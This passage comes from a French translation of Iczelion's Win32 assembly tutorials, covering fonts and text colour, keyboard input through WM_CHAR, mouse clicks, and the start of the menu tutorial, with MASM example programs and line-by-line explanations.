ClassName db "SimpleWinClass",0
AppName db "Our First Window",0
TestString db "Win32 assembly is great and easy!",0
FontName db "script",0

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\
nbsp; WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\
hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
LOCAL hdc:HDC
LOCAL ps:PAINTSTRUCT
LOCAL hfont:HFONT

.IF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_PAINT
invoke BeginPaint,hWnd, ADDR ps
mov hdc,eax
invoke CreateFont,24,16,0,0,400,0,0,0,OEM_CHARSET,\
OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,\
DEFAULT_QUALITY,DEFAULT_PITCH or FF_SCRIPT,\
ADDR FontName
invoke SelectObject, hdc, eax
mov hfont,eax
RGB 200,200,50
invoke SetTextColor,hdc,eax
RGB 0,0,255
invoke SetBkColor,hdc,eax
invoke TextOut,hdc,0,0,ADDR TestString,SIZEOF TestString
invoke SelectObject,hdc, hfont
invoke EndPaint,hWnd, ADDR ps
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp

end start

Analyse:

invoke CreateFont,24,16,0,0,400,0,0,0,OEM_CHARSET,\
OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,\
DEFAULT_QUALITY,DEFAULT_PITCH or FF_SCRIPT,\
ADDR FontName

CreateFont crée une fonte logique(un mélange RGB) qui est la couleur la plus proche des paramètres sélectionnés et des données de fonte disponibles. Cette fonction a plus de paramètres qu'aucune autre fonction de Windows. Il renvoie l'handle de la fonte logique qui doit être utilisé par la fonction SelectObject. Nous allons examiner ces paramètres en détail.

CreateFont proto nHeight:DWORD,\
nWidth:DWORD,\
nEscapement:DWORD,\
nOrientation:DWORD,\
nWeight:DWORD,\
cItalic:DWORD,\
cUnderline:DWORD,\
cStrikeOut:DWORD,\
cCharSet:DWORD,\
cOutputPrecision:DWORD,\
cClipPrecision:DWORD,\
cQuality:DWORD,\
cPitchAndFamily:DWORD,\
lpFacename:DWORD

nHeight est la hauteur désirée des caractères. On prend 0 par défaut pour utiliser la taille moyenne.
nWidth est la largeur désirée des caractères. Normalement cette valeur doit être 0,ce qui permet à Windows de faire correspondre la largeur à la hauteur. Cependant, dans notre exemple, la largeur par défaut fait que les caractères sembles difficile à lire, donc on emploiera la largeur 16 à la place de cela.
nEscapement Sert à spécifier l'inclinaison des caractères qui suivent cette instruction. On compte en dixième de degré. Normalement, cette valeur est à 0. On la met à 900 pour avoir tous les caractères va vers le haut, à 1800 pour écrire vers l'arrière, ou 2700 pour écrire chaque caractère du haut vers le bas.
nOrientation Indique de combien doivent être tournés les caractères (en dixième de degré). 900 pour avoir tous les caractères couchés tournés vers le haut, 1800 pour le contraire, etc.
nWeight Donne l'épaisseur de chaque caractère. Windows définit les tailles suivantes :

    FW_DONTCARE equ 0
    FW_THIN equ 100
    FW_EXTRALIGHT equ 200
    FW_ULTRALIGHT equ 200
    FW_LIGHT equ 300
    FW_NORMAL equ 400
    FW_REGULAR equ 400
    FW_MEDIUM equ 500
    FW_SEMIBOLD equ 600
    FW_DEMIBOLD equ 600
    FW_BOLD equ 700
    FW_EXTRABOLD equ 800
    FW_ULTRABOLD equ 800
    FW_HEAVY equ 900
    FW_BLACK equ 900
cItalic 0 pour normal, une autre valeur pour caractères italiques.
cUnderline 0 pour normal, une autre valeur pour les caractères soulignés.
cStrikeOut 0 pour normal, une autre valeur pour des caractères (barrés) avec une ligne par le centre.
cCharSet C'est le jeu de caractères de la fonte (ex : ARIAL). Ce doit normalement être OEM_CHARSET, ce qui permet à Windows de choisir la fonte.
cOutputPrecision Indique à quel point la fonte choisie doit être proche des caractéristiques que nous voulons. Normalement on prend OUT_DEFAULT_PRECIS par défaut.
cClipPrecision Indique la précision de la coupure. La coupure c'est ce qui définit les bords de la zone d'écriture. Le texte sera coupé en arrivant près des bords et cette zone de coupure peut être plus ou moins étendue vers l'intérieur du secteur client. Vous pouvez utiliser la valeur CLIP_DEFAULT_PRECIS qui définit le comportement de coupure par défaut.
cQuality Indique la qualité de production. La qualité de production définit précisément comment le GDI doit essayer de calquer au mieux les attributs de la fonte logique à ceux d'une fonte physique réelle. Il y a trois choix : DEFAULT_QUALITY, PROOF_QUALITY et DRAFT_QUALITY.
cPitchAndFamily Spécifie la hauteur et la type de fonte. Vous devez combiner ces 2 valeurs avec l'opérateur "or".
lpFacename C'est un NULL qui indique la police de caractères de la fonte.

La description ci-dessus n'est en aucun cas complète. Vous devez consulter votre référence API Win32 pour plus de détails.

invoke SelectObject, hdc, eax
mov hfont,eax

Après avoir obtenu l' handle de la fonte logique, nous devons l'employer pour choisir la fonte dans le contexte de périférique en appelant SelectObject. SelectObject met les nouveaux objets du GDI tels que les stylos, les brosses et les fontes dans le contexte de périférique pour être employés par des fonctions du GDI. Il renvoie l' handle (de l'objet à replacer) que nous devons sauvegarder pour de futures appels de la fonction SelectObject. Après l'appel SelectObject, n'importe quelle fonction de production de texte emploiera la fonte que nous venons juste de choisir dans le contexte de périférique.

RGB 200,200,50
invoke SetTextColor,hdc,eax
RGB 0,0,255
invoke SetBkColor,hdc,eax

Employez la macro RGB pour créer une valeur RGB sur 32 bits pour être employée par SetColorText et SetBkColor.

invoke TextOut,hdc,0,0,ADDR TestString,SIZEOF TestString

Appelez la fonction TextOut pour dessiner le texte sur le secteur client. Le texte sera dans la fonte et la couleur que nous avons spécifié précédemment.

invoke SelectObject,hdc, hfont

Quand on as fini de se servir de cette fonte, on doit rétablir l'ancienne fonte dans le contexte de périférique. Vous devez toujours rétablir l'objet que vous avez remplacé dans le contexte de périférique.

[Iczelion's Win32 Assembly HomePage]

Traduit par Morgatte


Iczelion's Win32 Assembly Tutorial 6: Keyboard Input

Tutorial 6: Les Entrées Clavier

Nous allons voir comment un programme Windows traite les entrées clavier.

Downloadez le fichier en example ici.

Théorie:

Puisque normalement il n'y a qu'un seul clavier pour chaque PC, tous les programmes Windows en action sont obligés de le partager entre eux. Windows est responsable de l'envoie des frappes de touches vers la bonne fenêtre qui attend ces entrées.
Bien qu'il puisse y avoir plusieurs fenêtres sur l'écran, seule une d'entre elles a temporairement la possibilité de traiter les entrées clavier. La fenêtre qui traite les entrées est la seule qui puisse recevoir des frappes de touches. Vous pouvez différencier la fenêtre qui traite les entrées des autres fenêtres en regardant sa barre de titre. La barre de titre de cette fenêtre est activée.
En réalité, il y a deux principaux types de messages pour le clavier, selon votre vision du clavier. Vous pouvez le voir comme étant un groupe de touches. Dans ce cas, si vous pressez une touche, Windows envoie le message WM_KEYDOWN à la fenêtre qui traite les entrées clavier, signifiant ainsi qu'une touche vient d'être enfoncée. Quand vous relâchez cette touche, Windows envoie le message WM_KEYUP. Vous traitez une touche de la même manière qu'un bouton. L'autre façon de voir le clavier consiste en ce fait qu'il est un périférique d'entrée de caractères. Quand vous appuyez sur la touche "a", Windows envoie un message WM_CHAR à la fenêtre qui traite les entrées, disant ainsi que l'utilisateur envoie le caractère "a". En fait, Windows envoie les messages WM_KEYDOWN et WM_KEYUP à la fenêtre qui traite les entrées et ces messages seront traduis en messages WM_CHAR grâce à un Call TranslateMessage. La procédure qui s'occupe du fonctionnement de votre fenêtre peut décider de traiter les trois messages ou bien seulement les messages auxquels vous vous intéressez. La plupart du temps, vous pouvez ignorer WM_KEYDOWN et WM_KEYUP puisque la fonction TranslateMessage appelle la boucle de message qui traduit les messages WM_KEYDOWN et WM_KEYUP en message WM_CHAR. Nous nous concentrerons donc uniquement sur WM_CHAR dans ce Tutorial.

Example:

.386
.model flat,stdcall
option casemap:none

WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\gdi32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\gdi32.lib

.data
ClassName db "SimpleWinClass",0
AppName db "Our First Window",0
char WPARAM 20h ; Le caractère que le programme reçoit du clavier.
; 20h est la valeur pour obtenir un espace.
; Ainsi rien ne sera affiché à l'écran au moment de son ouverture.

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\
hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
LOCAL hdc:HDC
LOCAL ps:PAINTSTRUCT

.IF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_CHAR
push wParam
pop char
invoke InvalidateRect, hWnd,NULL,TRUE
.ELSEIF uMsg==WM_PAINT
invoke BeginPaint,hWnd, ADDR ps
mov hdc,eax
invoke TextOut,hdc,0,0,ADDR char,1
invoke EndPaint,hWnd, ADDR ps
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp
end start

Analyse:

char WPARAM 20h ; Le caractère que le programme reçoit du clavier

C'est la variable qui stockera le caractère envoyé par le clavier. Puisque le caractère est envoyé dans le paramètre WPARAM (appartenant à la procédure de fenêtre). La valeur initiale de WPARAM est 20h pour afficher un 'espace' au moment où notre fenêtre régénère son secteur client la toute première fois, quand il n'y a aucune entrée clavier. Donc au commencement, nous voulons afficher 'espace'.

.ELSEIF uMsg==WM_CHAR
push wParam
pop char
invoke InvalidateRect, hWnd,NULL,TRUE

Ceci a été rajouté à la procédure de fenêtre pour traiter le message WM_CHAR. Il met seulement le caractère dans la variable nommée "char" et appelle ensuite InvalidateRect. InvalidateRect fait apparaître un 'rectangle invalide' (un petite zone non rafraîchit) dans le secteur client et force ainsi Windows à envoyer le message WM_PAINT à la procédure de fenêtre. Sa syntaxe est la suivante :

InvalidateRect proto hWnd:HWND,\
lpRect:DWORD,\
bErase:DWORD

lpRect est un pointeur sur le rectangle qui se trouve dans le secteur client que nous voulons déclarer comme étant invalide. Si ce paramètre est nul, le secteur client entier deviendra invalide.
bErase est un flag (un drapeau) indiquant à Windows s'il a besoin d'effacer le fond (background). Si ce Flag est TRUE (=1), alors Windows effacera le background du rectangle invalide dès que BeginPaint sera appelé.

Ainsi la stratégie que nous avons employé ici est que : nous stockons toute information nécessaire à l'écriture d'une lettre dans le secteur client et fabriquons ensuite le message WM_PAINT pour que Windows réactualise (redessine) le secteur client. Bien sûr, les lignes de codes dans la section WM_PAINT doivent savoir à l'avance ce que l'on attend d'elles. On pourrait croire qu'on tourne en rond mais c'est la méthode utilisée par Windows.
En réalité nous pouvons redessiner (réactualiser) le secteur client pendant le traitement du message WM_CHAR en appelant la paire GetDC - ReleaseDC. A ce niveau, il n'y a aucun problème. Cependant ça commence à être intéressant uniquement quand notre fenêtre a le besoin de redessiner son secteur client. Puisque les codes qui affichent le caractère sont dans la section WM_CHAR, la procédure de fenêtre ne sera plus capable de dessiner notre caractère sur le secteur client. Donc la ligne suivante sert à mettre toutes les données et les codes nécessaires à l'actualisation dans WM_PAINT. Vous pouvez envoyer le message WM_PAINT n'importe où dans votre code dès que vous voulez redessiner (réactualiser) le secteur client.

invoke TextOut,hdc,0,0,ADDR char,1

Quand InvalidateRect est appelée, elle envoie en retour le message WM_PAINT à la procédure de fenêtre. Donc les lignes de code de la section WM_PAINT sont appelées. Il appelle BeginPaint comme d'habitude pour obtenir l'handle du contexte de périférique et appelle ensuite TextOut qui dessine notre caractère dans le secteur client à x=0, y=0. Quand vous exécutez le programme et appuyez sur une touche, vous verrez que le caractère se répercute dans le coin supérieur gauche de la fenêtre. Et quand la fenêtre est rétrécie au maximum puis réagrandie de nouveau, le caractère est toujours présent puisque tous les codes et toutes les données essentielles pour redessiner sont tous réunis dans la section WM_PAINT.

[Iczelion's Win32 Assembly HomePage]

Traduit par Morgatte


Iczelion's Win32 Assembly Tutorial 7: Mouse Input

Tutorial 7: Les entrées Souris

Nous allons voir comment recevoir et répondre aux entrées souris dans notre procédure de fenêtre. Le programme d'exemple contrôlera les cliques gauche de la souris et affichera un texte sur le secteur client aux coordonnées même de la souris.

Downloadez le fichier en example ici.

Théorie:

Comme pour les entrées clavier, Windows détecte les actions de la souris dépendantes de chaque fenêtre. Ici notre activité portera uniquement sur le clique gauche et sur le mouvement du curseur de la souris dans la fenêtre. À la différence des entrées clavier qui sont adressés uniquement à la fenêtre qui est activée, les messages de la souris sont envoyés à n'importe quelle fenêtre (active ou non) du moment que la souris soit placée dessus. En plus, il existe aussi des 'messages souris' adressés au secteur non-client. Mais la plupart du temps, nous pouvons les ignorer sans nous en soucier. On peut pleinement nous concentrer sur les messages affiliés au secteur client.
Il y a deux messages pour chaque bouton de la souris : WM_LBUTTONDOWN, WM_RBUTTONDOWN et WM_LBUTTONUP, WM_RBUTTONUP. Pour une souris avec trois boutons, il y a aussi WM_MBUTTONDOWN et WM_MBUTTONUP. Pour le déplacement du curseur de souris sur le secteur client, Windows envoie le message WM_MOUSEMOVE à la fenêtre qui se trouve sous le curseur.
Une fenêtre peut recevoir des messages de double-clic, WM_LBUTTONDBCLK ou WM_RBUTTONDBCLK, si et seulement si sa classe de fenêtre obtient le flag(drapeau) de style CS_DBLCLKS, sinon la fenêtre recevra seulement qu'une série de messages disant que les boutons de souris on étés pressés (Button Up, Button Down).
Pour tous ces messages, la valeur de lParam contient (sera) la position de la souris. On travaille en 32 Bit donc sur des doubles mots. Le mot de poids faible sera la coordonnée X et le mot de poids fort sera la coordonnée Y à partir du coin supérieur gauche du secteur client de la fenêtre. WParam indique l'état des boutons de la souris, et des touches Shift et Ctrl.

Example:

.386
.model flat,stdcall
option casemap:none

WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\gdi32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\gdi32.lib

.data
ClassName db "SimpleWinClass",0
AppName db "Our First Window",0
MouseClick db 0 ; 0=pas encore de click

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hitpoint POINT <>

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\
hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
LOCAL hdc:HDC
LOCAL ps:PAINTSTRUCT

.IF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_LBUTTONDOWN
mov eax,lParam
and eax,0FFFFh
mov hitpoint.x,eax
mov eax,lParam
shr eax,16
mov hitpoint.y,eax
mov MouseClick,TRUE
invoke InvalidateRect,hWnd,NULL,TRUE
.ELSEIF uMsg==WM_PAINT
invoke BeginPaint,hWnd, ADDR ps
mov hdc,eax
.IF MouseClick
invoke lstrlen,ADDR AppName
invoke TextOut,hdc,hitpoint.x,hitpoint.y,ADDR AppName,eax
.ENDIF
invoke EndPaint,hWnd, ADDR ps
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp
end start

Analyse:

.ELSEIF uMsg==WM_LBUTTONDOWN
mov eax,lParam
and eax,0FFFFh
mov hitpoint.x,eax
mov eax,lParam
shr eax,16
mov hitpoint.y,eax
mov MouseClick,TRUE
invoke InvalidateRect,hWnd,NULL,TRUE

La procédure de fenêtre attend qu'on clique sur le bouton gauche de la souris. Quand il reçoit WM_LBUTTONDOWN, lParam prend la valeur de la coordonnée du curseur de la souris dans le secteur client. Il sauvegarde la coordonnée dans une variable de type POINT qui est défini comme ceci:

POINT STRUCT
x dd ?
y dd ?
POINT ENDS

et le 'flag' qui contrôle l'état de MouseClick, est mis à TRUE (VRAI), signifiant ainsi qu'il y a au moins le bouton gauche de la souris qu'on peut cliquer sur le secteur client.

mov eax,lParam
and eax,0FFFFh
mov hitpoint.x,eax

Puisque la coordonnée X est le mot de poids faible du double mot lParam et que les 2 membres qui forment la structure POINT sont d'une taille de 32 bits, nous devons mettre la partie haute de 'eax' à 0 avant le stockage de celle-ci. (and eax, 0000FFFFh).

shr eax,16
mov hitpoint.y,eax

Puisque la coordonnée Y est le mot de poids fort du double mot lParam, nous devons mettre la partie basse de 'eax' à 0 avant le stockage de celle-ci. Nous pouvons faire ça en déplaçant 16bits de eax vers la droit.
Après le stockage de la position de la souris, nous mettons le flag contrôlant l'état de MouseClick à TRUE (VRAI) pour que le code de la section WM_PAINT sache qu'il y aie au moins un clique effectué sur le secteur client. Donc il peut dessiner (écrire) la chaîne de caractères à la position de la souris. Ensuite nous appelons la fonction InvalidateRect pour forcer la fenêtre à actualiser la totalité de son secteur client.

.IF MouseClick
invoke lstrlen,ADDR AppName
invoke TextOut,hdc,hitpoint.x,hitpoint.y,ADDR AppName,eax
.ENDIF

Le code de la section WM_PAINT (celui qui sert à redessiner (actualiser) le secteur client de votre fenêtre) doit vérifier si MouseClick est vrai, dès que la fenêtre a été créée. Au tout début il a reçu un message WM_PAINT, pour lequel il n'y avait aucun clique de souris, dans ce cas il ne doit pas dessiner la chaîne de caractère dans le secteur client. Initialement, nous mettons donc MouseClick à FALSE (FAUX), mais nous changeons sa valeur à TRUE (VRAI) uniquement quand advient un réel clique de souris.
Si au moins un clique de souris se produit, il dessine (écrit) la chaîne de caractères sur le secteur client à la position de la souris. Notez qu'il appelle 'lstrlen' pour obtenir la longueur de la chaîne à afficher et renvoie la longueur comme dernier paramètre de la fonction TextOut.

[Iczelion's Win32 Assembly HomePage]

Traduit par Morgatte


Iczelion's Win32 Assembly Tutorial 8: Menu

Tutorial 8: Le Menu

Dans ce tutorial, nous allons apprendre comment incorporer un menu à notre fenêtre.
Downloadez l'example 1 et l'example2.

Theorie:

Le menu est un des composants le plus important de la fenêtre. Le menu présente la liste des services qu'un programme peut offrir à l'utilisateur. L'utilisateur ne doit pas lire le manuel inclus avec le programme pour être capable de l'employer, il lui suffit de lire attentivement le menu pour obtenir une vue d'ensemble de la capacités d'un programme particulier et commencer à jouer avec lui immédiatement. Puisque un menu est un outil pour que l'utilisateur puisse rapidement se diriger, vous devez suivre la norme. Succinctement, les deux premiers items (articles) du menu doivent être "Fichier" et "Edition" puis aussi "Aide". Vous pouvez insérer vos propres items (articles) de menu entre celui d'Edition et celui de l'Aide. Si un item du menu invoque une boîte de dialogue, vous devez ajouter un n°identifiant à la suite de la chaîne de caractères du menu.
Le menu est une des sortes de ressources. Il y a plusieurs sortes de ressources tels que la boîte de dialogue, les tableaux de caractères, l'icône, bitmap, le menu etc. Les ressources sont décrites dans un fichier séparé, appelé fichier de ressources et qui normalement a l'extension .rc. Vous combinez alors les ressources avec le code source pendant l'étape de liaison. Le produit final est un fichier exécutable qui contient, à la fois les instructions et les ressources.
Vous pouvez écrire des scénarios de ressources en employant n'importe quel éditeur de texte. Ces fichiers ressources sont composés d'éléments qui décrivent les objets ainsi que d'autres attributs de ressources employées dans un programme particulier. Bien que vous puissiez construire différents éléments de ressource avec un simple éditeur de texte, c'est plutôt fastidieux. Une meilleure alternative c'est d'employer un éditeur de ressources qui vous laisse concevoir visuellement des ressources avec un bien meilleurs confort. Les éditeurs de ressources sont habituellement inclus dans le pack avec le compilateur comme Visuel C+, Borland C+, etc.
Nous pouvons décrire une ressource de menu comme ceci :
    MyMenu MENU
    {
    [Ici, la liste d'items du menu]
    }
Les programmeurs sous C peuvent se rendre compte que c'est totalement semblable à la déclaration de la structure MyMenu d'un nom de menu suivit par le mot clef MENU et le menu est inscrit entre accolades {}. Si vous préférez, alternativement vous pouvez employer 'BEGIN' et 'END' au lieu des accolades . Cette syntaxe est plus acceptable pour les programmeurs en Pascal.
La liste du menu est composée de plusieures déclarations MENUITEM ou de plusieures déclarations POPUP.
La déclaration MENUITEM définit une barre(bar) de menu qui n'invoque pas de menu popup lorsqu'il est choisi. La syntaxe est la suivante :
    MENUITEM "&text", ID [,options]
Il commence par le mot-clé MENUITEM suivi du texte que vous voulez employer en tant que chaîne de caractères pour la barre de menu. Notez l'esperluète (&). Il sert à souligner le caractère qui le suit. Après la chaîne de caractères formant le texte on trouve le n°ID de l'item du menu. L'ID est le numéro qui sera employé pour identifier l'item du menu dans le message envoyé à la procédure de fenêtre lorsqu'on le sélectionne. Chaque n°ID du menu doit être unique vis à vis des autres.
'Options' justement en option. Les options disponibles sont les suivantes :
  • GRAYED L'item du menu est inactif et il ne produit pas de message WM_COMMAND. Le texte est grisé (grayed).
  • INACTIVE L'item du menu est inactif et il ne produit pas de message WM_COMMAND. Le texte est quand même affiché normalement.
  • MENUBREAK Cet item et les items suivants apparaissent sur une nouvelle ligne du menu.
  • HELP Cet item et les items suivants sont alignés à droite.
Vous pouvez employer une de ces options ou bien les combiner entre elles avec l'opérateur "or". Prenez garde à ce que INACTIVE et GRAYED ne soient pas utilisés ensembles.
La syntaxe de la déclaration POPUP est la suivante :
POPUP "&text" [,options]
{
[menu list]
}
La déclaration POPUP définit une barre de menu qui, quand elle est choisi, déroule une liste d'items de menu dans une petite fenêtre POPUP. La liste du menu peut être un MENUTIEM ou la déclaration POPUP. Il y a un type de déclaration spécial qui est MENUITEM SEPARATOR, lequel dessinera une ligne horizontale à l'intérieur de la fenêtre POPUP.
L'étape suivante après que vous en ayez finis avec le scénario de ressources est que votre programme doit faire référence à votre menu.
Vous pouvez faire ceci à deux endroits différents dans votre programme.
  • Dans le membre lpszMenuName de la structure de WNDCLASSEX. Déclarez, que vous avez un menu nommé "FirstMenu", vous pouvez assigné le menu à votre fenêtre comme cela :
        • .DATA
          MenuName db "FirstMenu",0
        ...........................
        ...........................
        .CODE
          ...........................
          mov wc.lpszMenuName, OFFSET MenuName
          ...........................

  • Ou bien dans les paramètres de CreateWindowEx au niveau du handle du menu (hMenu) comme cela :

        • .DATA
          MenuName db "FirstMenu",0
          hMenu HMENU ?
        ...........................
        ...........................
        .CODE
          ...........................
          invoke LoadMenu, hInst, OFFSET MenuName
          mov hMenu, eax
          invoke CreateWindowEx,NULL,OFFSET ClsName,\
          OFFSET Caption, WS_OVERLAPPEDWINDOW,\
          CW_USEDEFAULT,CW_USEDEFAULT,\
          CW_USEDEFAULT,CW_USEDEFAULT,\
          NULL,\
          hMenu,\
          hInst,\
          NULL\
          ...........................

Vous pouvez vous demander, quelle est la différence entre ces deux méthodes ?
Quand vous faites référence au menu dans la structure de WNDCLASSEX, le menu devient le menu "par défaut" pour la classe de fenêtre. Chaque fenêtre de cette classe aura le même menu.
Si vous souhaitez que chaque fenêtre ait la même classe mais qu'elles aient des menus différents, vous devez choisir la deuxième forme. Dans ce cas, n'importe quelle fenêtre dont on passe l'handle de son menu à la fonction CreateWindowEx aura un menu qui "ne tient pas compte" du menu par défaut, définit dans la structure WNDCLASSEX.
Ensuite nous devons examiner comment un menu fait pour indiquer à la procédure de fenêtre quand l'utilisateur choisit un des items du menu.
Quand l'utilisateur choisit un item du menu, la procédure de fenêtre reçoit le message WM_COMMAND. Le mot de poids faible de wParam contient le n°ID de l'item choisi dans le menu. (Le mot de poids faible de wParam = si c'est du contenu de eax (qui est sur 32Bit) dont on parle alors on parle plus précisément ici des 16 dernier bits de eax).
Maintenant nous avons suffisament d'informations pour créer et employer un menu. On va le faire.

Example:

Le premier exemple montre comment créer et employer un menu en spécifiant le nom de menu dans la classe de fenêtre.

.386
.model flat,stdcall
option casemap:none

WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

.data
ClassName db "SimpleWinClass",0
AppName db "Our First Window",0
MenuName db "FirstMenu",0 ; Le nom de notre menu dans le fichier de ressources.
Test_string db "You selected Test menu item",0
Hello_string db "Hello, my friend",0
Goodbye_string db "See you again, bye",0

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?

.const
IDM_TEST equ 1 ; (Menu IDs) ou: Les n° d'Identification des éléments constituants le Menu
IDM_HELLO equ 2
IDM_GOODBYE equ 3
IDM_EXIT equ 4

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,OFFSET MenuName ; Place le nom de notre menu ici
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
